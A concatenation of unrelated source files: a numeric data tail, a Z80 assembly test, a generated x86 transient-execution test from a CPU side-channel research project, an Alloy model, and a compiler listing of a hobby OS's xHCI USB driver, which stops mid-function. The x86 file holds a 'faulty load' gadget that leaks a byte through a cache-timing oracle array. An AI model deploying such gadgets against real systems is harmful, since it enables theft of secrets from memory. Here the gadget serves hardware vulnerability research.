34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
src/test/resources/data/searchtests/test-sort-expected.asm | cpcitor/mdlz80optimizer | 36 | 164198 | <gh_stars>10-100
cp h
jr c, $ + 5
ld b, a
ld a, h
ld h, b |
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1446.asm | ljhsiun2/medusa | 9 | 101305 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x9308, %rsi
lea addresses_WT_ht+0x6238, %rdi
nop
nop
nop
nop
nop
add $20609, %r9
mov $120, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp $7903, %rdx
lea addresses_D_ht+0x1ca58, %r11
nop
sub %rax, %rax
movl $0x61626364, (%r11)
nop
nop
nop
nop
nop
cmp $9586, %rsi
lea addresses_WC_ht+0x19260, %r11
clflush (%r11)
nop
nop
nop
nop
and %rcx, %rcx
mov (%r11), %si
nop
nop
nop
nop
nop
xor $56093, %rdx
lea addresses_normal_ht+0x1a6e0, %rsi
lea addresses_A_ht+0x1ebbc, %rdi
nop
nop
nop
xor $60197, %r13
mov $93, %rcx
rep movsl
nop
nop
nop
dec %r11
lea addresses_normal_ht+0x19448, %r11
nop
nop
nop
dec %r13
and $0xffffffffffffffc0, %r11
vmovaps (%r11), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rcx
nop
inc %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r15
push %rax
push %rbx
push %rdx
// Load
lea addresses_WC+0x1c938, %rdx
nop
nop
sub $9896, %r15
mov (%rdx), %r11w
nop
add %r14, %r14
// Faulty Load
lea addresses_A+0x6138, %rdx
nop
add $59219, %r10
movups (%rdx), %xmm4
vpextrq $0, %xmm4, %r15
lea oracles, %rbx
and $0xff, %r15
shlq $12, %r15
mov (%rbx,%r15,1), %r15
pop %rdx
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': True, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 9}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': True, 'AVXalign': False, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': True, 'congruent': 4}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
alloy4fun_models/trashltl/models/4/RGtG74SB8idByL8mJ.als | Kaixi26/org.alloytools.alloy | 0 | 4761 | <gh_stars>0
open main
pred idRGtG74SB8idByL8mJ_prop5 {
eventually (File' in File)
}
pred __repair { idRGtG74SB8idByL8mJ_prop5 }
check __repair { idRGtG74SB8idByL8mJ_prop5 <=> prop5o } |
Aurora/Aurora/x64/Debug/xhci.asm | manaskamal/aurora-xeneva | 8 | 90587 | <reponame>manaskamal/aurora-xeneva
; Listing generated by Microsoft (R) Optimizing Compiler Version 17.00.50727.1
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC ?xusb_dev@@3PEAU_xhci_@@EA ; xusb_dev
_BSS SEGMENT
?xusb_dev@@3PEAU_xhci_@@EA DQ 01H DUP (?) ; xusb_dev
_BSS ENDS
CONST SEGMENT
$SG3351 DB '[XHCI USB]: Interrupt fired', 0aH, 00H
ORG $+3
$SG3363 DB 'USB: stating controller took %d ms', 0aH, 00H
ORG $+4
$SG3365 DB 'USB: error! couldn''t clear controller halted bit', 0aH, 00H
ORG $+6
$SG3368 DB 'USB: XHCI stopping command ring', 0aH, 00H
ORG $+7
$SG3373 DB 'USB: xHCI stopping ring took %d ms', 0aH, 00H
ORG $+4
$SG3375 DB 'USB: xHCI couldn''t stop command ring', 0aH, 00H
ORG $+2
$SG3380 DB 'USB: xHCI stopping controller took %d ms', 0aH, 00H
ORG $+6
$SG3382 DB 'USB: xHCI couldn''t set controller halted bit', 0aH, 00H
ORG $+2
$SG3383 DB 'USB: xHCI controller reset completed ', 0aH, 00H
ORG $+1
$SG3393 DB 'USB: xHCI resetting controller took %dms ', 0aH, 00H
ORG $+5
$SG3395 DB 'USB: controller did not clear reset bit', 0aH, 00H
ORG $+7
$SG3396 DB 'USB: xHCI controller reset successfully', 0aH, 00H
ORG $+7
$SG3406 DB 'USB xHCI: not found', 0aH, 00H
ORG $+3
$SG3407 DB 'Scanning MSI support for USB', 0aH, 00H
ORG $+2
$SG3410 DB 'Legacy Interrupt handling for USB xhci is not supported', 0aH
DB 00H
ORG $+7
$SG3414 DB 'USB: xHCI version - (%d.%d%d)', 0aH, 00H
ORG $+1
$SG3418 DB 'USB: xHCI interrupt line -> %d', 0aH, 00H
$SG3419 DB 'USB: xHCI interrupt pin -> %d', 0aH, 00H
CONST ENDS
PUBLIC ?xhci_initialize@@YAXXZ ; xhci_initialize
PUBLIC ?xhci_handler@@YAX_KPEAX@Z ; xhci_handler
PUBLIC ?xhci_start_stop@@YAXH@Z ; xhci_start_stop
EXTRN x64_cli:PROC
EXTRN x64_sti:PROC
EXTRN ?pci_find_device_class@@YA_NEEPEATpci_device_info@@PEAH11@Z:PROC ; pci_find_device_class
EXTRN ?pci_alloc_msi@@YA_NHHHP6AX_KPEAX@Z@Z:PROC ; pci_alloc_msi
EXTRN ?pci_enable_bus_master@@YAXHHH@Z:PROC ; pci_enable_bus_master
EXTRN ?printf@@YAXPEBDZZ:PROC ; printf
EXTRN ?pmmngr_alloc@@YAPEAXXZ:PROC ; pmmngr_alloc
pdata SEGMENT
$pdata$?xhci_initialize@@YAXXZ DD imagerel $LN5
DD imagerel $LN5+492
DD imagerel $unwind$?xhci_initialize@@YAXXZ
$pdata$?xhci_handler@@YAX_KPEAX@Z DD imagerel $LN3
DD imagerel $LN3+31
DD imagerel $unwind$?xhci_handler@@YAX_KPEAX@Z
$pdata$?xhci_start_stop@@YAXH@Z DD imagerel $LN21
DD imagerel $LN21+419
DD imagerel $unwind$?xhci_start_stop@@YAXH@Z
$pdata$?reset@@YAXXZ DD imagerel ?reset@@YAXXZ
DD imagerel ?reset@@YAXXZ+179
DD imagerel $unwind$?reset@@YAXXZ
pdata ENDS
xdata SEGMENT
$unwind$?xhci_initialize@@YAXXZ DD 010401H
DD 0c204H
$unwind$?xhci_handler@@YAX_KPEAX@Z DD 010e01H
DD 0420eH
$unwind$?xhci_start_stop@@YAXH@Z DD 010801H
DD 06208H
$unwind$?reset@@YAXXZ DD 010401H
DD 06204H
xdata ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\usb\xhci.cpp
_TEXT SEGMENT
count$1 = 32
tv75 = 36
op_reg$ = 40
?reset@@YAXXZ PROC ; reset
; 92 : static void reset () {
sub rsp, 56 ; 00000038H
; 93 : //! stop the controller
; 94 : xhci_start_stop(0);
xor ecx, ecx
call ?xhci_start_stop@@YAXH@Z ; xhci_start_stop
; 95 :
; 96 : xhci_op_regs* op_reg = (xhci_op_regs*)xusb_dev->xhci_op_address;
mov rax, QWORD PTR ?xusb_dev@@3PEAU_xhci_@@EA ; xusb_dev
mov rax, QWORD PTR [rax+8]
mov QWORD PTR op_reg$[rsp], rax
; 97 : op_reg->cmd |= XHCI_CMD_HCRESET;
mov rax, QWORD PTR op_reg$[rsp]
mov eax, DWORD PTR [rax]
or eax, 2
mov rcx, QWORD PTR op_reg$[rsp]
mov DWORD PTR [rcx], eax
; 98 :
; 99 : //! wait until the host controller clears it
; 100 : for (int count = 0; count < 2000; count++){
mov DWORD PTR count$1[rsp], 0
jmp SHORT $LN5@reset
$LN4@reset:
mov eax, DWORD PTR count$1[rsp]
inc eax
mov DWORD PTR count$1[rsp], eax
$LN5@reset:
cmp DWORD PTR count$1[rsp], 2000 ; 000007d0H
jge SHORT $LN3@reset
; 101 : if (! op_reg->cmd & XHCI_CMD_HCRESET) {
mov rax, QWORD PTR op_reg$[rsp]
mov eax, DWORD PTR [rax]
test eax, eax
jne SHORT $LN8@reset
mov DWORD PTR tv75[rsp], 1
jmp SHORT $LN9@reset
$LN8@reset:
mov DWORD PTR tv75[rsp], 0
$LN9@reset:
mov eax, DWORD PTR tv75[rsp]
and eax, 2
test eax, eax
je SHORT $LN2@reset
; 102 : printf ("USB: xHCI resetting controller took %dms \n",count);
mov edx, DWORD PTR count$1[rsp]
lea rcx, OFFSET FLAT:$SG3393
call ?printf@@YAXPEBDZZ ; printf
; 103 : break;
jmp SHORT $LN3@reset
$LN2@reset:
; 104 : }
; 105 : }
jmp SHORT $LN4@reset
$LN3@reset:
; 106 :
; 107 : //! clear
; 108 : if (op_reg->cmd & XHCI_CMD_HCRESET)
mov rax, QWORD PTR op_reg$[rsp]
mov eax, DWORD PTR [rax]
and eax, 2
test eax, eax
je SHORT $LN1@reset
; 109 : {
; 110 : printf ("USB: controller did not clear reset bit\n");
lea rcx, OFFSET FLAT:$SG3395
call ?printf@@YAXPEBDZZ ; printf
; 111 : return;
jmp SHORT $LN6@reset
$LN1@reset:
; 112 : }
; 113 :
; 114 : //! successfull
; 115 : printf ("USB: xHCI controller reset successfully\n");
lea rcx, OFFSET FLAT:$SG3396
call ?printf@@YAXPEBDZZ ; printf
$LN6@reset:
; 116 : }
add rsp, 56 ; 00000038H
ret 0
?reset@@YAXXZ ENDP ; reset
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\usb\xhci.cpp
_TEXT SEGMENT
count$ = 32
op$ = 40
start$ = 64
?xhci_start_stop@@YAXH@Z PROC ; xhci_start_stop
; 25 : void xhci_start_stop (int start) {
$LN21:
mov DWORD PTR [rsp+8], ecx
sub rsp, 56 ; 00000038H
; 26 :
; 27 : int count;
; 28 :
; 29 : xhci_op_regs* op = (xhci_op_regs*)xusb_dev->xhci_op_address;
mov rax, QWORD PTR ?xusb_dev@@3PEAU_xhci_@@EA ; xusb_dev
mov rax, QWORD PTR [rax+8]
mov QWORD PTR op$[rsp], rax
; 30 :
; 31 : if (start) {
cmp DWORD PTR start$[rsp], 0
je SHORT $LN18@xhci_start
; 32 : //! set the run/stop bit
; 33 : op->cmd |= XHCI_CMD_RUNSTOP;
mov rax, QWORD PTR op$[rsp]
mov eax, DWORD PTR [rax]
or eax, 1
mov rcx, QWORD PTR op$[rsp]
mov DWORD PTR [rcx], eax
; 34 :
; 35 : for (count = 0; count < 20; count++) {
mov DWORD PTR count$[rsp], 0
jmp SHORT $LN17@xhci_start
$LN16@xhci_start:
mov eax, DWORD PTR count$[rsp]
inc eax
mov DWORD PTR count$[rsp], eax
$LN17@xhci_start:
cmp DWORD PTR count$[rsp], 20
jge SHORT $LN15@xhci_start
; 36 : if (!(op->stat & XHCI_STAT_HCHALTED)) {
mov rax, QWORD PTR op$[rsp]
mov eax, DWORD PTR [rax+4]
and eax, 1
test eax, eax
jne SHORT $LN14@xhci_start
; 37 : printf ("USB: stating controller took %d ms\n", count);
mov edx, DWORD PTR count$[rsp]
lea rcx, OFFSET FLAT:$SG3363
call ?printf@@YAXPEBDZZ ; printf
; 38 : break;
jmp SHORT $LN15@xhci_start
$LN14@xhci_start:
; 39 : }
; 40 : }
jmp SHORT $LN16@xhci_start
$LN15@xhci_start:
; 41 :
; 42 :
; 43 : //! started ?
; 44 : if (op->stat &XHCI_STAT_HCHALTED) {
mov rax, QWORD PTR op$[rsp]
mov eax, DWORD PTR [rax+4]
and eax, 1
test eax, eax
je SHORT $LN13@xhci_start
; 45 : printf ("USB: error! couldn't clear controller halted bit\n");
lea rcx, OFFSET FLAT:$SG3365
call ?printf@@YAXPEBDZZ ; printf
; 46 : return;
jmp $LN19@xhci_start
$LN13@xhci_start:
; 47 : }
; 48 : } else {
jmp $LN12@xhci_start
$LN18@xhci_start:
; 49 : //! stop the controller
; 50 : if (op->cmdrctrlLo & XHCI_CRCR_CMDRNGRUNNING) {
mov rax, QWORD PTR op$[rsp]
mov eax, DWORD PTR [rax+24]
and eax, 8
test eax, eax
je $LN11@xhci_start
; 51 : printf ("USB: XHCI stopping command ring\n");
lea rcx, OFFSET FLAT:$SG3368
call ?printf@@YAXPEBDZZ ; printf
; 52 : op->cmdrctrlLo = XHCI_CRCR_COMMANDABORT;
mov rax, QWORD PTR op$[rsp]
mov DWORD PTR [rax+24], 4
; 53 : op->cmdrctrlHi = 0;
mov rax, QWORD PTR op$[rsp]
mov DWORD PTR [rax+28], 0
; 54 :
; 55 : //!wait for stopped
; 56 : for (count = 0; count < 5000; count++) {
mov DWORD PTR count$[rsp], 0
jmp SHORT $LN10@xhci_start
$LN9@xhci_start:
mov eax, DWORD PTR count$[rsp]
inc eax
mov DWORD PTR count$[rsp], eax
$LN10@xhci_start:
cmp DWORD PTR count$[rsp], 5000 ; 00001388H
jge SHORT $LN8@xhci_start
; 57 : if (!(op->cmdrctrlLo & XHCI_CRCR_CMDRNGRUNNING)) {
mov rax, QWORD PTR op$[rsp]
mov eax, DWORD PTR [rax+24]
and eax, 8
test eax, eax
jne SHORT $LN7@xhci_start
; 58 : printf ("USB: xHCI stopping ring took %d ms\n", count);
mov edx, DWORD PTR count$[rsp]
lea rcx, OFFSET FLAT:$SG3373
call ?printf@@YAXPEBDZZ ; printf
; 59 : break;
jmp SHORT $LN8@xhci_start
$LN7@xhci_start:
; 60 : }
; 61 : }
jmp SHORT $LN9@xhci_start
$LN8@xhci_start:
; 62 :
; 63 : //! stopped
; 64 : if (op->cmdrctrlLo & XHCI_CRCR_CMDRNGRUNNING)
mov rax, QWORD PTR op$[rsp]
mov eax, DWORD PTR [rax+24]
and eax, 8
test eax, eax
je SHORT $LN6@xhci_start
; 65 : printf ("USB: xHCI couldn't stop command ring\n");
lea rcx, OFFSET FLAT:$SG3375
call ?printf@@YAXPEBDZZ ; printf
$LN6@xhci_start:
$LN11@xhci_start:
; 66 : }
; 67 :
; 68 : //! clear the run/stop bit
; 69 : op->cmd &= ~XHCI_CMD_RUNSTOP;
mov rax, QWORD PTR op$[rsp]
mov eax, DWORD PTR [rax]
and eax, -2 ; fffffffeH
mov rcx, QWORD PTR op$[rsp]
mov DWORD PTR [rcx], eax
; 70 :
; 71 : //!wait for halted
; 72 : for (count = 0; count < 20; count++) {
mov DWORD PTR count$[rsp], 0
jmp SHORT $LN5@xhci_start
$LN4@xhci_start:
mov eax, DWORD PTR count$[rsp]
inc eax
mov DWORD PTR count$[rsp], eax
$LN5@xhci_start:
cmp DWORD PTR count$[rsp], 20
jge SHORT $LN3@xhci_start
; 73 : if (op->stat & XHCI_STAT_HCHALTED) {
mov rax, QWORD PTR op$[rsp]
mov eax, DWORD PTR [rax+4]
and eax, 1
test eax, eax
je SHORT $LN2@xhci_start
; 74 : printf ("USB: xHCI stopping controller took %d ms\n", count);
mov edx, DWORD PTR count$[rsp]
lea rcx, OFFSET FLAT:$SG3380
call ?printf@@YAXPEBDZZ ; printf
; 75 : break;
jmp SHORT $LN3@xhci_start
$LN2@xhci_start:
; 76 : }
; 77 : }
jmp SHORT $LN4@xhci_start
$LN3@xhci_start:
; 78 :
; 79 : //! stopped?
; 80 : if (!(op->stat & XHCI_STAT_HCHALTED)){
mov rax, QWORD PTR op$[rsp]
mov eax, DWORD PTR [rax+4]
and eax, 1
test eax, eax
jne SHORT $LN1@xhci_start
; 81 : printf ("USB: xHCI couldn't set controller halted bit\n");
lea rcx, OFFSET FLAT:$SG3382
call ?printf@@YAXPEBDZZ ; printf
; 82 : return;
jmp SHORT $LN19@xhci_start
$LN1@xhci_start:
$LN12@xhci_start:
; 83 : }
; 84 : }
; 85 :
; 86 : //!successfull
; 87 : printf ("USB: xHCI controller reset completed \n");
lea rcx, OFFSET FLAT:$SG3383
call ?printf@@YAXPEBDZZ ; printf
$LN19@xhci_start:
; 88 : }
add rsp, 56 ; 00000038H
ret 0
?xhci_start_stop@@YAXH@Z ENDP ; xhci_start_stop
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\usb\xhci.cpp
_TEXT SEGMENT
v$ = 48
p$ = 56
?xhci_handler@@YAX_KPEAX@Z PROC ; xhci_handler
; 20 : void xhci_handler (size_t v, void* p) {
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
sub rsp, 40 ; 00000028H
; 21 : printf ("[XHCI USB]: Interrupt fired\n");
lea rcx, OFFSET FLAT:$SG3351
call ?printf@@YAXPEBDZZ ; printf
; 22 : }
add rsp, 40 ; 00000028H
ret 0
?xhci_handler@@YAX_KPEAX@Z ENDP ; xhci_handler
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\usb\xhci.cpp
_TEXT SEGMENT
pci_status$ = 48
func_$ = 52
dev_$ = 56
bus$ = 60
version$ = 64
cap$ = 72
dev$ = 80
?xhci_initialize@@YAXXZ PROC ; xhci_initialize
; 122 : void xhci_initialize () {
$LN5:
sub rsp, 104 ; 00000068H
; 123 : pci_device_info *dev = (pci_device_info*)pmmngr_alloc();
call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc
mov QWORD PTR dev$[rsp], rax
; 124 : xusb_dev = (xhci*)pmmngr_alloc();
call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc
mov QWORD PTR ?xusb_dev@@3PEAU_xhci_@@EA, rax ; xusb_dev
; 125 :
; 126 : int bus, dev_, func_ = 0;
mov DWORD PTR func_$[rsp], 0
; 127 : if (!pci_find_device_class(0x0C, 0x03, dev, &bus, &dev_, &func_)) {
lea rax, QWORD PTR func_$[rsp]
mov QWORD PTR [rsp+40], rax
lea rax, QWORD PTR dev_$[rsp]
mov QWORD PTR [rsp+32], rax
lea r9, QWORD PTR bus$[rsp]
mov r8, QWORD PTR dev$[rsp]
mov dl, 3
mov cl, 12
call ?pci_find_device_class@@YA_NEEPEATpci_device_info@@PEAH11@Z ; pci_find_device_class
movzx eax, al
test eax, eax
jne SHORT $LN2@xhci_initi
; 128 : printf ("USB xHCI: not found\n");
lea rcx, OFFSET FLAT:$SG3406
call ?printf@@YAXPEBDZZ ; printf
; 129 : return;
jmp $LN3@xhci_initi
$LN2@xhci_initi:
; 130 : }
; 131 :
; 132 : x64_cli ();
call x64_cli
; 133 : pci_enable_bus_master (bus, dev_, func_);
mov r8d, DWORD PTR func_$[rsp]
mov edx, DWORD PTR dev_$[rsp]
mov ecx, DWORD PTR bus$[rsp]
call ?pci_enable_bus_master@@YAXHHH@Z ; pci_enable_bus_master
; 134 : printf ("Scanning MSI support for USB\n");
lea rcx, OFFSET FLAT:$SG3407
call ?printf@@YAXPEBDZZ ; printf
; 135 : bool pci_status = pci_alloc_msi(func_, dev_, bus, xhci_handler);
lea r9, OFFSET FLAT:?xhci_handler@@YAX_KPEAX@Z ; xhci_handler
mov r8d, DWORD PTR bus$[rsp]
mov edx, DWORD PTR dev_$[rsp]
mov ecx, DWORD PTR func_$[rsp]
call ?pci_alloc_msi@@YA_NHHHP6AX_KPEAX@Z@Z ; pci_alloc_msi
mov BYTE PTR pci_status$[rsp], al
; 136 : if (!pci_status) {
movzx eax, BYTE PTR pci_status$[rsp]
test eax, eax
jne SHORT $LN1@xhci_initi
; 137 : printf ("Legacy Interrupt handling for USB xhci is not supported\n");
lea rcx, OFFSET FLAT:$SG3410
call ?printf@@YAXPEBDZZ ; printf
$LN1@xhci_initi:
; 138 : }
; 139 :
; 140 : pci_enable_bus_master (bus, dev_, func_);
mov r8d, DWORD PTR func_$[rsp]
mov edx, DWORD PTR dev_$[rsp]
mov ecx, DWORD PTR bus$[rsp]
call ?pci_enable_bus_master@@YAXHHH@Z ; pci_enable_bus_master
; 141 : xusb_dev->xhci_base_address = dev->device.nonBridge.baseAddress[0] +dev->device.nonBridge.baseAddress[1];
mov eax, 4
imul rax, 0
mov ecx, 4
imul rcx, 1
mov rdx, QWORD PTR dev$[rsp]
mov eax, DWORD PTR [rdx+rax+16]
mov rdx, QWORD PTR dev$[rsp]
add eax, DWORD PTR [rdx+rcx+16]
mov eax, eax
mov rcx, QWORD PTR ?xusb_dev@@3PEAU_xhci_@@EA ; xusb_dev
mov QWORD PTR [rcx], rax
; 142 :
; 143 : xhci_cap_reg *cap = (xhci_cap_reg*)xusb_dev->xhci_base_address;
mov rax, QWORD PTR ?xusb_dev@@3PEAU_xhci_@@EA ; xusb_dev
mov rax, QWORD PTR [rax]
mov QWORD PTR cap$[rsp], rax
; 144 : uint32_t version = cap->caps_len_hciver >> 16;
mov rax, QWORD PTR cap$[rsp]
mov eax, DWORD PTR [rax]
shr eax, 16
mov DWORD PTR version$[rsp], eax
; 145 : printf ("USB: xHCI version - (%d.%d%d)\n",((version >> 8) & 0xFF), ((version>>4) & 0xF), (version & 0xF));
mov eax, DWORD PTR version$[rsp]
and eax, 15
